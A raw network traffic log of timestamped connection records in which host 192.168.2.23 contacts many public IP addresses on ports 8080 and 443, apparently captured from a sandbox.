Mar 21, 2024 05:16:52.950149059 CET	19017	8080	192.168.2.23	211.15.88.227
Mar 21, 2024 05:16:52.950150013 CET	19017	8080	192.168.2.23	39.150.37.92
Mar 21, 2024 05:16:52.950158119 CET	19017	8080	192.168.2.23	116.87.139.177
Mar 21, 2024 05:16:52.950164080 CET	19017	8080	192.168.2.23	89.88.6.36
Mar 21, 2024 05:16:52.950165987 CET	19017	8080	192.168.2.23	32.161.61.117
Mar 21, 2024 05:16:52.950181007 CET	19017	8080	192.168.2.23	63.147.32.64
Mar 21, 2024 05:16:52.950181007 CET	19017	8080	192.168.2.23	27.129.68.209
Mar 21, 2024 05:16:52.950191021 CET	19017	8080	192.168.2.23	223.119.238.92
Mar 21, 2024 05:16:52.950201035 CET	19017	8080	192.168.2.23	129.50.201.68
Mar 21, 2024 05:16:52.950211048 CET	19017	8080	192.168.2.23	140.189.252.44
Mar 21, 2024 05:16:52.950232029 CET	19017	8080	192.168.2.23	142.41.176.62
Mar 21, 2024 05:16:52.950232029 CET	19017	8080	192.168.2.23	31.174.161.51
Mar 21, 2024 05:16:52.950232029 CET	19017	8080	192.168.2.23	203.116.196.82
Mar 21, 2024 05:16:52.950247049 CET	57622	443	192.168.2.23	178.189.119.186
Mar 21, 2024 05:16:52.950247049 CET	19017	8080	192.168.2.23	68.64.167.26
Mar 21, 2024 05:16:52.950251102 CET	19017	8080	192.168.2.23	162.60.83.93
Mar 21, 2024 05:16:52.950258970 CET	443	57622	178.189.119.186	192.168.2.23
Mar 21, 2024 05:16:52.950270891 CET	19017	8080	192.168.2.23	8.202.48.223
Mar 21, 2024 05:16:52.950270891 CET	19017	8080	192.168.2.23	182.157.207.209
Mar 21, 2024 05:16:52.950273037 CET	19017	8080	192.168.2.23	207.95.159.187
Mar 21, 2024 05:16:52.950277090 CET	53890	443	192.168.2.23	94.66.216.136
Mar 21, 2024 05:16:52.950283051 CET	19017	8080	192.168.2.23	93.3.0.31
Mar 21, 2024 05:16:52.950284004 CET	443	53890	94.66.216.136	192.168.2.23
Mar 21, 2024 05:16:52.950284958 CET	46276	443	192.168.2.23	79.48.157.252
Mar 21, 2024 05:16:52.950284958 CET	19017	8080	192.168.2.23	189.171.90.29
Mar 21, 2024 05:16:52.950289011 CET	19017	8080	192.168.2.23	42.208.25.137
Mar 21, 2024 05:16:52.950292110 CET	443	46276	79.48.157.252	192.168.2.23
Mar 21, 2024 05:16:52.950294971 CET	19017	8080	192.168.2.23	8.42.206.88
Mar 21, 2024 05:16:52.950316906 CET	57622	443	192.168.2.23	178.189.119.186
Mar 21, 2024 05:16:52.950333118 CET	19017	8080	192.168.2.23	107.194.93.6
Mar 21, 2024 05:16:52.950333118 CET	19017	8080	192.168.2.23	122.68.211.38
Mar 21, 2024 05:16:52.950333118 CET	19017	8080	192.168.2.23	74.74.178.225
Mar 21, 2024 05:16:52.950335026 CET	53890	443	192.168.2.23	94.66.216.136
Mar 21, 2024 05:16:52.950340033 CET	19017	8080	192.168.2.23	154.52.243.192
Mar 21, 2024 05:16:52.950344086 CET	19017	8080	192.168.2.23	209.9.213.209
Mar 21, 2024 05:16:52.950345993 CET	46276	443	192.168.2.23	79.48.157.252
Mar 21, 2024 05:16:52.950362921 CET	19017	8080	192.168.2.23	114.240.252.206
Mar 21, 2024 05:16:52.950366020 CET	37692	443	192.168.2.23	37.153.196.35
Mar 21, 2024 05:16:52.950366020 CET	19017	8080	192.168.2.23	211.173.29.14
Mar 21, 2024 05:16:52.950366020 CET	19017	8080	192.168.2.23	88.114.18.226
Mar 21, 2024 05:16:52.950376987 CET	443	37692	37.153.196.35	192.168.2.23
Mar 21, 2024 05:16:52.950380087 CET	45924	443	192.168.2.23	109.249.149.203
Mar 21, 2024 05:16:52.950382948 CET	19017	8080	192.168.2.23	35.33.62.167
Mar 21, 2024 05:16:52.950382948 CET	19017	8080	192.168.2.23	100.185.213.198
Mar 21, 2024 05:16:52.950385094 CET	19017	8080	192.168.2.23	34.172.157.62
Mar 21, 2024 05:16:52.950388908 CET	45410	443	192.168.2.23	118.58.245.8
Mar 21, 2024 05:16:52.950391054 CET	443	45924	109.249.149.203	192.168.2.23
Mar 21, 2024 05:16:52.950393915 CET	19017	8080	192.168.2.23	8.162.98.249
Mar 21, 2024 05:16:52.950400114 CET	19017	8080	192.168.2.23	135.225.69.167
Mar 21, 2024 05:16:52.950407028 CET	37692	443	192.168.2.23	37.153.196.35
Mar 21, 2024 05:16:52.950408936 CET	443	45410	118.58.245.8	192.168.2.23
Mar 21, 2024 05:16:52.950423002 CET	45924	443	192.168.2.23	109.249.149.203
Mar 21, 2024 05:16:52.950438976 CET	45410	443	192.168.2.23	118.58.245.8
Mar 21, 2024 05:16:52.950467110 CET	57998	443	192.168.2.23	79.74.143.182
Mar 21, 2024 05:16:52.950474024 CET	443	57998	79.74.143.182	192.168.2.23
Mar 21, 2024 05:16:52.950489044 CET	45546	443	192.168.2.23	109.234.76.190
Mar 21, 2024 05:16:52.950495958 CET	443	45546	109.234.76.190	192.168.2.23
Mar 21, 2024 05:16:52.950500011 CET	57808	443	192.168.2.23	42.143.12.56
Mar 21, 2024 05:16:52.950500011 CET	57998	443	192.168.2.23	79.74.143.182
Mar 21, 2024 05:16:52.950508118 CET	443	57808	42.143.12.56	192.168.2.23
Mar 21, 2024 05:16:52.950531006 CET	45546	443	192.168.2.23	109.234.76.190
Mar 21, 2024 05:16:52.950535059 CET	57808	443	192.168.2.23	42.143.12.56
Mar 21, 2024 05:16:52.950550079 CET	44568	443	192.168.2.23	42.84.180.4
Mar 21, 2024 05:16:52.950563908 CET	443	44568	42.84.180.4	192.168.2.23
Mar 21, 2024 05:16:52.950571060 CET	52344	443	192.168.2.23	178.165.17.139
Mar 21, 2024 05:16:52.950577974 CET	443	52344	178.165.17.139	192.168.2.23
Mar 21, 2024 05:16:52.950579882 CET	52274	443	192.168.2.23	212.246.149.80
Mar 21, 2024 05:16:52.950588942 CET	443	52274	212.246.149.80	192.168.2.23
Mar 21, 2024 05:16:52.950598955 CET	44568	443	192.168.2.23	42.84.180.4
Mar 21, 2024 05:16:52.950619936 CET	52344	443	192.168.2.23	178.165.17.139
Mar 21, 2024 05:16:52.950620890 CET	52274	443	192.168.2.23	212.246.149.80
Mar 21, 2024 05:16:52.950639963 CET	40178	443	192.168.2.23	212.161.158.149
Mar 21, 2024 05:16:52.950647116 CET	443	40178	212.161.158.149	192.168.2.23
Mar 21, 2024 05:16:52.950647116 CET	51108	443	192.168.2.23	118.116.165.57
Mar 21, 2024 05:16:52.950654030 CET	443	51108	118.116.165.57	192.168.2.23
Mar 21, 2024 05:16:52.950664997 CET	32814	443	192.168.2.23	37.150.57.145
Mar 21, 2024 05:16:52.950670958 CET	443	32814	37.150.57.145	192.168.2.23
Mar 21, 2024 05:16:52.950679064 CET	45982	443	192.168.2.23	37.3.80.50
Mar 21, 2024 05:16:52.950685024 CET	40178	443	192.168.2.23	212.161.158.149
Mar 21, 2024 05:16:52.950685978 CET	443	45982	37.3.80.50	192.168.2.23
Mar 21, 2024 05:16:52.950686932 CET	42418	443	192.168.2.23	94.37.99.108
Mar 21, 2024 05:16:52.950695038 CET	51108	443	192.168.2.23	118.116.165.57
Mar 21, 2024 05:16:52.950695992 CET	443	42418	94.37.99.108	192.168.2.23
Mar 21, 2024 05:16:52.950706005 CET	32814	443	192.168.2.23	37.150.57.145
Mar 21, 2024 05:16:52.950715065 CET	45982	443	192.168.2.23	37.3.80.50
Mar 21, 2024 05:16:52.950722933 CET	42418	443	192.168.2.23	94.37.99.108
Mar 21, 2024 05:16:52.950751066 CET	41916	443	192.168.2.23	118.231.212.105
Mar 21, 2024 05:16:52.950758934 CET	443	41916	118.231.212.105	192.168.2.23
Mar 21, 2024 05:16:52.950768948 CET	40378	443	192.168.2.23	79.34.25.124
Mar 21, 2024 05:16:52.950773954 CET	443	40378	79.34.25.124	192.168.2.23
Mar 21, 2024 05:16:52.950783968 CET	48572	443	192.168.2.23	37.175.171.224
Mar 21, 2024 05:16:52.950784922 CET	41916	443	192.168.2.23	118.231.212.105
Mar 21, 2024 05:16:52.950790882 CET	443	48572	37.175.171.224	192.168.2.23
Mar 21, 2024 05:16:52.950802088 CET	40378	443	192.168.2.23	79.34.25.124
Mar 21, 2024 05:16:52.950817108 CET	44870	443	192.168.2.23	212.0.45.63
Mar 21, 2024 05:16:52.950819016 CET	48572	443	192.168.2.23	37.175.171.224
Mar 21, 2024 05:16:52.950841904 CET	443	44870	212.0.45.63	192.168.2.23
Mar 21, 2024 05:16:52.950849056 CET	42952	443	192.168.2.23	5.74.236.60
Mar 21, 2024 05:16:52.950855017 CET	443	42952	5.74.236.60	192.168.2.23
Mar 21, 2024 05:16:52.950877905 CET	44870	443	192.168.2.23	212.0.45.63
Mar 21, 2024 05:16:52.950884104 CET	42952	443	192.168.2.23	5.74.236.60
Mar 21, 2024 05:16:52.950901031 CET	37176	443	192.168.2.23	37.33.135.196
Mar 21, 2024 05:16:52.950912952 CET	443	37176	37.33.135.196	192.168.2.23
Mar 21, 2024 05:16:52.950922966 CET	34592	443	192.168.2.23	94.73.146.228
Mar 21, 2024 05:16:52.950923920 CET	45436	443	192.168.2.23	109.76.150.13
Mar 21, 2024 05:16:52.950927973 CET	443	34592	94.73.146.228	192.168.2.23
Mar 21, 2024 05:16:52.950932980 CET	443	45436	109.76.150.13	192.168.2.23
Mar 21, 2024 05:16:52.950938940 CET	50844	443	192.168.2.23	210.160.56.141
Mar 21, 2024 05:16:52.950943947 CET	37176	443	192.168.2.23	37.33.135.196
Mar 21, 2024 05:16:52.950947046 CET	443	50844	210.160.56.141	192.168.2.23
Mar 21, 2024 05:16:52.950962067 CET	34592	443	192.168.2.23	94.73.146.228
Mar 21, 2024 05:16:52.950964928 CET	45436	443	192.168.2.23	109.76.150.13
Mar 21, 2024 05:16:52.950974941 CET	50844	443	192.168.2.23	210.160.56.141
Mar 21, 2024 05:16:52.951011896 CET	51824	443	192.168.2.23	178.110.149.31
Mar 21, 2024 05:16:52.951018095 CET	443	51824	178.110.149.31	192.168.2.23
Mar 21, 2024 05:16:52.951025963 CET	32894	443	192.168.2.23	37.106.238.129
Mar 21, 2024 05:16:52.951033115 CET	443	32894	37.106.238.129	192.168.2.23
Mar 21, 2024 05:16:52.951040983 CET	40622	443	192.168.2.23	37.39.144.113
Mar 21, 2024 05:16:52.951049089 CET	443	40622	37.39.144.113	192.168.2.23
Mar 21, 2024 05:16:52.951059103 CET	32894	443	192.168.2.23	37.106.238.129
Mar 21, 2024 05:16:52.951088905 CET	51824	443	192.168.2.23	178.110.149.31
Mar 21, 2024 05:16:52.951097012 CET	45642	443	192.168.2.23	210.198.229.49
Mar 21, 2024 05:16:52.951097012 CET	39542	443	192.168.2.23	2.209.1.171
Mar 21, 2024 05:16:52.951097012 CET	59728	443	192.168.2.23	37.183.6.150
Mar 21, 2024 05:16:52.951105118 CET	443	39542	2.209.1.171	192.168.2.23
Mar 21, 2024 05:16:52.951107979 CET	443	45642	210.198.229.49	192.168.2.23
Mar 21, 2024 05:16:52.951112032 CET	40622	443	192.168.2.23	37.39.144.113
Mar 21, 2024 05:16:52.951112986 CET	443	59728	37.183.6.150	192.168.2.23
Mar 21, 2024 05:16:52.951137066 CET	39542	443	192.168.2.23	2.209.1.171
Mar 21, 2024 05:16:52.951141119 CET	45642	443	192.168.2.23	210.198.229.49
Mar 21, 2024 05:16:52.951158047 CET	59728	443	192.168.2.23	37.183.6.150
Mar 21, 2024 05:16:52.951363087 CET	54256	443	192.168.2.23	79.53.90.212
Mar 21, 2024 05:16:52.951375961 CET	443	54256	79.53.90.212	192.168.2.23
Mar 21, 2024 05:16:52.951385021 CET	60814	443	192.168.2.23	37.76.217.245
Mar 21, 2024 05:16:52.951390028 CET	443	60814	37.76.217.245	192.168.2.23
Mar 21, 2024 05:16:52.951406002 CET	46808	443	192.168.2.23	118.212.39.32
Mar 21, 2024 05:16:52.951414108 CET	54256	443	192.168.2.23	79.53.90.212
Mar 21, 2024 05:16:52.951415062 CET	443	46808	118.212.39.32	192.168.2.23
Mar 21, 2024 05:16:52.951423883 CET	46722	443	192.168.2.23	5.248.16.145
Mar 21, 2024 05:16:52.951432943 CET	60814	443	192.168.2.23	37.76.217.245
Mar 21, 2024 05:16:52.951438904 CET	46808	443	192.168.2.23	118.212.39.32
Mar 21, 2024 05:16:52.951442003 CET	443	46722	5.248.16.145	192.168.2.23
Mar 21, 2024 05:16:52.951452017 CET	58104	443	192.168.2.23	2.82.1.189
Mar 21, 2024 05:16:52.951457977 CET	443	58104	2.82.1.189	192.168.2.23
Mar 21, 2024 05:16:52.951471090 CET	50788	443	192.168.2.23	2.101.172.98
Mar 21, 2024 05:16:52.951477051 CET	443	50788	2.101.172.98	192.168.2.23
Mar 21, 2024 05:16:52.951478004 CET	37214	443	192.168.2.23	5.146.137.16
Mar 21, 2024 05:16:52.951483011 CET	46722	443	192.168.2.23	5.248.16.145
Mar 21, 2024 05:16:52.951483011 CET	58104	443	192.168.2.23	2.82.1.189
Mar 21, 2024 05:16:52.951483965 CET	443	37214	5.146.137.16	192.168.2.23
Mar 21, 2024 05:16:52.951489925 CET	55582	443	192.168.2.23	94.238.103.112
Mar 21, 2024 05:16:52.951495886 CET	443	55582	94.238.103.112	192.168.2.23
Mar 21, 2024 05:16:52.951503038 CET	44554	443	192.168.2.23	2.133.89.33
Mar 21, 2024 05:16:52.951504946 CET	50788	443	192.168.2.23	2.101.172.98
Mar 21, 2024 05:16:52.951508045 CET	443	44554	2.133.89.33	192.168.2.23
Mar 21, 2024 05:16:52.951515913 CET	57536	443	192.168.2.23	212.193.173.89
Mar 21, 2024 05:16:52.951518059 CET	37214	443	192.168.2.23	5.146.137.16
Mar 21, 2024 05:16:52.951522112 CET	443	57536	212.193.173.89	192.168.2.23
Mar 21, 2024 05:16:52.951522112 CET	47564	443	192.168.2.23	94.29.227.101
Mar 21, 2024 05:16:52.951523066 CET	55582	443	192.168.2.23	94.238.103.112
Mar 21, 2024 05:16:52.951531887 CET	443	47564	94.29.227.101	192.168.2.23
Mar 21, 2024 05:16:52.951546907 CET	44554	443	192.168.2.23	2.133.89.33
Mar 21, 2024 05:16:52.951550007 CET	57536	443	192.168.2.23	212.193.173.89
Mar 21, 2024 05:16:52.951564074 CET	47564	443	192.168.2.23	94.29.227.101
Mar 21, 2024 05:16:52.951656103 CET	58438	443	192.168.2.23	118.83.221.60
Mar 21, 2024 05:16:52.951662064 CET	443	58438	118.83.221.60	192.168.2.23
Mar 21, 2024 05:16:52.951673985 CET	37890	443	192.168.2.23	94.168.223.11
Mar 21, 2024 05:16:52.951679945 CET	443	37890	94.168.223.11	192.168.2.23
Mar 21, 2024 05:16:52.951685905 CET	58438	443	192.168.2.23	118.83.221.60
Mar 21, 2024 05:16:52.951692104 CET	49402	443	192.168.2.23	79.235.104.172
Mar 21, 2024 05:16:52.951699972 CET	443	49402	79.235.104.172	192.168.2.23
Mar 21, 2024 05:16:52.951715946 CET	55198	443	192.168.2.23	2.198.214.219
Mar 21, 2024 05:16:52.951716900 CET	37890	443	192.168.2.23	94.168.223.11
Mar 21, 2024 05:16:52.951721907 CET	443	55198	2.198.214.219	192.168.2.23
Mar 21, 2024 05:16:52.951734066 CET	49402	443	192.168.2.23	79.235.104.172
Mar 21, 2024 05:16:52.951750040 CET	55198	443	192.168.2.23	2.198.214.219
Mar 21, 2024 05:16:52.951780081 CET	33422	443	192.168.2.23	94.146.70.168
Mar 21, 2024 05:16:52.951786041 CET	443	33422	94.146.70.168	192.168.2.23
Mar 21, 2024 05:16:52.951800108 CET	46724	443	192.168.2.23	210.188.90.99
Mar 21, 2024 05:16:52.951806068 CET	443	46724	210.188.90.99	192.168.2.23
Mar 21, 2024 05:16:52.951821089 CET	33422	443	192.168.2.23	94.146.70.168
Mar 21, 2024 05:16:52.951829910 CET	55416	443	192.168.2.23	2.219.158.91
Mar 21, 2024 05:16:52.951836109 CET	443	55416	2.219.158.91	192.168.2.23
Mar 21, 2024 05:16:52.951837063 CET	46724	443	192.168.2.23	210.188.90.99
Mar 21, 2024 05:16:52.951855898 CET	36294	443	192.168.2.23	94.72.101.180
Mar 21, 2024 05:16:52.951862097 CET	443	36294	94.72.101.180	192.168.2.23
Mar 21, 2024 05:16:52.951874018 CET	55416	443	192.168.2.23	2.219.158.91
Mar 21, 2024 05:16:52.951874018 CET	32788	443	192.168.2.23	210.156.138.179
Mar 21, 2024 05:16:52.951884985 CET	443	32788	210.156.138.179	192.168.2.23
Mar 21, 2024 05:16:52.951894999 CET	36294	443	192.168.2.23	94.72.101.180
Mar 21, 2024 05:16:52.951916933 CET	32788	443	192.168.2.23	210.156.138.179
Mar 21, 2024 05:16:52.951961040 CET	19017	8080	192.168.2.23	197.107.35.62
Mar 21, 2024 05:16:52.951965094 CET	19017	8080	192.168.2.23	73.159.139.151
Mar 21, 2024 05:16:52.951968908 CET	19017	8080	192.168.2.23	120.232.250.19
Mar 21, 2024 05:16:52.951977015 CET	19017	8080	192.168.2.23	87.79.128.11
Mar 21, 2024 05:16:52.951984882 CET	19017	8080	192.168.2.23	173.121.254.239
Mar 21, 2024 05:16:52.951991081 CET	19017	8080	192.168.2.23	182.67.174.241
Mar 21, 2024 05:16:52.951994896 CET	19017	8080	192.168.2.23	153.13.90.217
Mar 21, 2024 05:16:52.952008009 CET	19017	8080	192.168.2.23	12.123.55.45
Mar 21, 2024 05:16:52.952009916 CET	19017	8080	192.168.2.23	32.35.173.72
Mar 21, 2024 05:16:52.952035904 CET	19017	8080	192.168.2.23	222.111.207.44
Mar 21, 2024 05:16:52.952044010 CET	19017	8080	192.168.2.23	202.79.148.19
Mar 21, 2024 05:16:52.952045918 CET	19017	8080	192.168.2.23	136.159.64.151
Mar 21, 2024 05:16:52.952049017 CET	19017	8080	192.168.2.23	117.62.243.0
Mar 21, 2024 05:16:52.952058077 CET	19017	8080	192.168.2.23	218.161.112.217
Mar 21, 2024 05:16:52.952065945 CET	19017	8080	192.168.2.23	126.206.5.140
Mar 21, 2024 05:16:52.952069998 CET	19017	8080	192.168.2.23	140.254.52.10
Mar 21, 2024 05:16:52.952071905 CET	19017	8080	192.168.2.23	140.45.246.226
Mar 21, 2024 05:16:52.952089071 CET	19017	8080	192.168.2.23	129.140.153.70
Mar 21, 2024 05:16:52.952090025 CET	19017	8080	192.168.2.23	138.157.105.156
Mar 21, 2024 05:16:52.952090025 CET	19017	8080	192.168.2.23	202.26.167.70
Mar 21, 2024 05:16:52.952091932 CET	19017	8080	192.168.2.23	205.231.216.91
Mar 21, 2024 05:16:52.952106953 CET	19017	8080	192.168.2.23	151.46.85.122
Mar 21, 2024 05:16:52.952121973 CET	19017	8080	192.168.2.23	150.190.74.248
Mar 21, 2024 05:16:52.952131033 CET	19017	8080	192.168.2.23	39.254.188.54
Mar 21, 2024 05:16:52.952131987 CET	19017	8080	192.168.2.23	160.174.74.50
Mar 21, 2024 05:16:52.952141047 CET	19017	8080	192.168.2.23	13.248.163.116
Mar 21, 2024 05:16:52.952158928 CET	19017	8080	192.168.2.23	169.193.155.68
Mar 21, 2024 05:16:52.952159882 CET	19017	8080	192.168.2.23	139.3.200.113
Mar 21, 2024 05:16:52.952162027 CET	19017	8080	192.168.2.23	109.17.223.207
Mar 21, 2024 05:16:52.952176094 CET	19017	8080	192.168.2.23	140.230.102.16
Mar 21, 2024 05:16:52.952177048 CET	19017	8080	192.168.2.23	162.140.30.51
Mar 21, 2024 05:16:52.952184916 CET	19017	8080	192.168.2.23	192.111.5.168
Mar 21, 2024 05:16:52.952192068 CET	19017	8080	192.168.2.23	132.240.220.215
Mar 21, 2024 05:16:52.952205896 CET	19017	8080	192.168.2.23	166.250.77.169
Mar 21, 2024 05:16:52.952213049 CET	19017	8080	192.168.2.23	78.227.175.58
Mar 21, 2024 05:16:52.952230930 CET	19017	8080	192.168.2.23	18.146.207.13
Mar 21, 2024 05:16:52.952239037 CET	19017	8080	192.168.2.23	116.195.190.57
Mar 21, 2024 05:16:52.952244997 CET	19017	8080	192.168.2.23	118.93.104.78
Mar 21, 2024 05:16:52.952248096 CET	19017	8080	192.168.2.23	90.253.77.138
Mar 21, 2024 05:16:52.952254057 CET	19017	8080	192.168.2.23	189.168.4.137
Mar 21, 2024 05:16:52.952266932 CET	19017	8080	192.168.2.23	192.238.130.16
Mar 21, 2024 05:16:52.952266932 CET	19017	8080	192.168.2.23	51.207.52.229
Mar 21, 2024 05:16:52.952267885 CET	19017	8080	192.168.2.23	204.217.33.20
Mar 21, 2024 05:16:52.952274084 CET	19017	8080	192.168.2.23	44.184.170.33
Mar 21, 2024 05:16:52.952289104 CET	19017	8080	192.168.2.23	102.213.245.190
Mar 21, 2024 05:16:52.952290058 CET	19017	8080	192.168.2.23	67.17.56.14
Mar 21, 2024 05:16:52.952296019 CET	19017	8080	192.168.2.23	46.232.43.61
Mar 21, 2024 05:16:52.952299118 CET	19017	8080	192.168.2.23	67.38.88.180
Mar 21, 2024 05:16:52.952307940 CET	19017	8080	192.168.2.23	80.95.130.209
Mar 21, 2024 05:16:52.952307940 CET	19017	8080	192.168.2.23	71.76.117.250
Mar 21, 2024 05:16:52.952318907 CET	19017	8080	192.168.2.23	138.162.126.223
Mar 21, 2024 05:16:52.952339888 CET	19017	8080	192.168.2.23	210.238.114.37
Mar 21, 2024 05:16:52.952341080 CET	19017	8080	192.168.2.23	32.79.194.80
Mar 21, 2024 05:16:52.952341080 CET	19017	8080	192.168.2.23	179.206.71.78
Mar 21, 2024 05:16:52.952354908 CET	19017	8080	192.168.2.23	217.100.11.134
Mar 21, 2024 05:16:52.952357054 CET	19017	8080	192.168.2.23	175.86.187.11
Mar 21, 2024 05:16:52.952363014 CET	19017	8080	192.168.2.23	172.215.118.229
Mar 21, 2024 05:16:52.952363014 CET	19017	8080	192.168.2.23	167.63.32.228
Mar 21, 2024 05:16:52.952373981 CET	19017	8080	192.168.2.23	94.89.231.204
Mar 21, 2024 05:16:52.952384949 CET	19017	8080	192.168.2.23	123.114.124.149
Mar 21, 2024 05:16:52.952409029 CET	19017	8080	192.168.2.23	149.86.11.5
Mar 21, 2024 05:16:52.952413082 CET	19017	8080	192.168.2.23	13.85.181.38
Mar 21, 2024 05:16:52.952413082 CET	19017	8080	192.168.2.23	202.166.144.12
Mar 21, 2024 05:16:52.952426910 CET	19017	8080	192.168.2.23	171.53.1.100
Mar 21, 2024 05:16:52.952433109 CET	19017	8080	192.168.2.23	74.39.135.232
Mar 21, 2024 05:16:52.952435017 CET	19017	8080	192.168.2.23	128.85.112.44
Mar 21, 2024 05:16:52.952441931 CET	19017	8080	192.168.2.23	23.4.52.79
Mar 21, 2024 05:16:52.952452898 CET	19017	8080	192.168.2.23	202.5.246.8
Mar 21, 2024 05:16:52.952452898 CET	19017	8080	192.168.2.23	106.97.217.254
Mar 21, 2024 05:16:52.952462912 CET	19017	8080	192.168.2.23	48.35.228.246
Mar 21, 2024 05:16:52.952469110 CET	19017	8080	192.168.2.23	130.94.121.196
Mar 21, 2024 05:16:52.952474117 CET	19017	8080	192.168.2.23	201.109.54.151
Mar 21, 2024 05:16:52.952491045 CET	19017	8080	192.168.2.23	156.248.213.80
Mar 21, 2024 05:16:52.952502012 CET	19017	8080	192.168.2.23	130.81.25.213
Mar 21, 2024 05:16:52.952506065 CET	19017	8080	192.168.2.23	111.96.242.6
Mar 21, 2024 05:16:52.952506065 CET	19017	8080	192.168.2.23	4.190.146.33
Mar 21, 2024 05:16:52.952517033 CET	19017	8080	192.168.2.23	219.200.70.174
Mar 21, 2024 05:16:52.952517033 CET	19017	8080	192.168.2.23	185.22.29.231
Mar 21, 2024 05:16:52.952519894 CET	19017	8080	192.168.2.23	155.113.187.85
Mar 21, 2024 05:16:52.952522039 CET	40946	443	192.168.2.23	42.114.204.159
Mar 21, 2024 05:16:52.952529907 CET	443	40946	42.114.204.159	192.168.2.23
Mar 21, 2024 05:16:52.952538967 CET	19017	8080	192.168.2.23	14.255.217.86
Mar 21, 2024 05:16:52.952544928 CET	19017	8080	192.168.2.23	49.77.146.36
Mar 21, 2024 05:16:52.952547073 CET	19017	8080	192.168.2.23	27.34.43.58
Mar 21, 2024 05:16:52.952547073 CET	19017	8080	192.168.2.23	44.73.242.153
Mar 21, 2024 05:16:52.952548027 CET	19017	8080	192.168.2.23	66.82.71.60
Mar 21, 2024 05:16:52.952550888 CET	19017	8080	192.168.2.23	23.239.192.227
Mar 21, 2024 05:16:52.952552080 CET	19017	8080	192.168.2.23	13.7.161.120
Mar 21, 2024 05:16:52.952552080 CET	19017	8080	192.168.2.23	163.31.219.166
Mar 21, 2024 05:16:52.952567101 CET	33196	443	192.168.2.23	2.202.159.63
Mar 21, 2024 05:16:52.952569008 CET	40946	443	192.168.2.23	42.114.204.159
Mar 21, 2024 05:16:52.952575922 CET	443	33196	2.202.159.63	192.168.2.23
Mar 21, 2024 05:16:52.952590942 CET	53538	443	192.168.2.23	178.125.41.178
Mar 21, 2024 05:16:52.952591896 CET	19017	8080	192.168.2.23	166.38.29.108
Mar 21, 2024 05:16:52.952595949 CET	19017	8080	192.168.2.23	94.111.106.211
Mar 21, 2024 05:16:52.952596903 CET	443	53538	178.125.41.178	192.168.2.23
Mar 21, 2024 05:16:52.952596903 CET	19017	8080	192.168.2.23	188.26.195.205
Mar 21, 2024 05:16:52.952600002 CET	55868	443	192.168.2.23	37.141.43.130
Mar 21, 2024 05:16:52.952605009 CET	443	55868	37.141.43.130	192.168.2.23
Mar 21, 2024 05:16:52.952610970 CET	33196	443	192.168.2.23	2.202.159.63
Mar 21, 2024 05:16:52.952610970 CET	44064	443	192.168.2.23	79.247.188.231
Mar 21, 2024 05:16:52.952610970 CET	19017	8080	192.168.2.23	179.194.209.206
Mar 21, 2024 05:16:52.952616930 CET	19017	8080	192.168.2.23	157.254.13.102
Mar 21, 2024 05:16:52.952620029 CET	443	44064	79.247.188.231	192.168.2.23
Mar 21, 2024 05:16:52.952622890 CET	57292	443	192.168.2.23	118.51.238.139
Mar 21, 2024 05:16:52.952632904 CET	443	57292	118.51.238.139	192.168.2.23
Mar 21, 2024 05:16:52.952634096 CET	53538	443	192.168.2.23	178.125.41.178
Mar 21, 2024 05:16:52.952642918 CET	55868	443	192.168.2.23	37.141.43.130
Mar 21, 2024 05:16:52.952646017 CET	44064	443	192.168.2.23	79.247.188.231
Mar 21, 2024 05:16:52.952653885 CET	57292	443	192.168.2.23	118.51.238.139
Mar 21, 2024 05:16:52.952656031 CET	19017	8080	192.168.2.23	185.212.37.166
Mar 21, 2024 05:16:52.952662945 CET	19017	8080	192.168.2.23	92.75.108.0
Mar 21, 2024 05:16:52.952672005 CET	19017	8080	192.168.2.23	101.153.130.142
Mar 21, 2024 05:16:52.952672958 CET	43766	443	192.168.2.23	118.43.2.83
Mar 21, 2024 05:16:52.952678919 CET	19017	8080	192.168.2.23	57.212.217.122
Mar 21, 2024 05:16:52.952681065 CET	443	43766	118.43.2.83	192.168.2.23
Mar 21, 2024 05:16:52.952687979 CET	19017	8080	192.168.2.23	70.154.162.20
Mar 21, 2024 05:16:52.952687979 CET	35462	443	192.168.2.23	109.100.144.142
Mar 21, 2024 05:16:52.952692032 CET	19017	8080	192.168.2.23	72.150.149.195
Mar 21, 2024 05:16:52.952693939 CET	443	35462	109.100.144.142	192.168.2.23
Mar 21, 2024 05:16:52.952694893 CET	19017	8080	192.168.2.23	68.90.254.66
Mar 21, 2024 05:16:52.952696085 CET	19017	8080	192.168.2.23	57.13.132.188
Mar 21, 2024 05:16:52.952696085 CET	19017	8080	192.168.2.23	135.162.116.185
Mar 21, 2024 05:16:52.952711105 CET	33692	443	192.168.2.23	2.58.224.138
Mar 21, 2024 05:16:52.952712059 CET	43766	443	192.168.2.23	118.43.2.83
Mar 21, 2024 05:16:52.952713013 CET	19017	8080	192.168.2.23	118.46.65.171
Mar 21, 2024 05:16:52.952717066 CET	443	33692	2.58.224.138	192.168.2.23
Mar 21, 2024 05:16:52.952730894 CET	35462	443	192.168.2.23	109.100.144.142
Mar 21, 2024 05:16:52.952733994 CET	34636	443	192.168.2.23	5.28.203.78
Mar 21, 2024 05:16:52.952739954 CET	19017	8080	192.168.2.23	85.79.239.131
Mar 21, 2024 05:16:52.952742100 CET	443	34636	5.28.203.78	192.168.2.23
Mar 21, 2024 05:16:52.952753067 CET	19017	8080	192.168.2.23	13.177.100.171
Mar 21, 2024 05:16:52.952759027 CET	19017	8080	192.168.2.23	172.198.247.11
Mar 21, 2024 05:16:52.952759027 CET	19017	8080	192.168.2.23	133.54.4.221
Mar 21, 2024 05:16:52.952759981 CET	33692	443	192.168.2.23	2.58.224.138
Mar 21, 2024 05:16:52.952769041 CET	19017	8080	192.168.2.23	107.39.245.128
Mar 21, 2024 05:16:52.952769041 CET	19017	8080	192.168.2.23	184.97.247.15
Mar 21, 2024 05:16:52.952776909 CET	19017	8080	192.168.2.23	172.255.24.91
Mar 21, 2024 05:16:52.952785969 CET	34636	443	192.168.2.23	5.28.203.78
Mar 21, 2024 05:16:52.952786922 CET	19017	8080	192.168.2.23	47.238.34.141
Mar 21, 2024 05:16:52.952789068 CET	19017	8080	192.168.2.23	8.198.153.75
Mar 21, 2024 05:16:52.952789068 CET	19017	8080	192.168.2.23	170.45.144.95
Mar 21, 2024 05:16:52.952796936 CET	19017	8080	192.168.2.23	184.147.10.218
Mar 21, 2024 05:16:52.952805996 CET	19017	8080	192.168.2.23	114.170.85.252
Mar 21, 2024 05:16:52.952809095 CET	19017	8080	192.168.2.23	168.166.231.40
Mar 21, 2024 05:16:52.952809095 CET	19017	8080	192.168.2.23	50.220.190.24
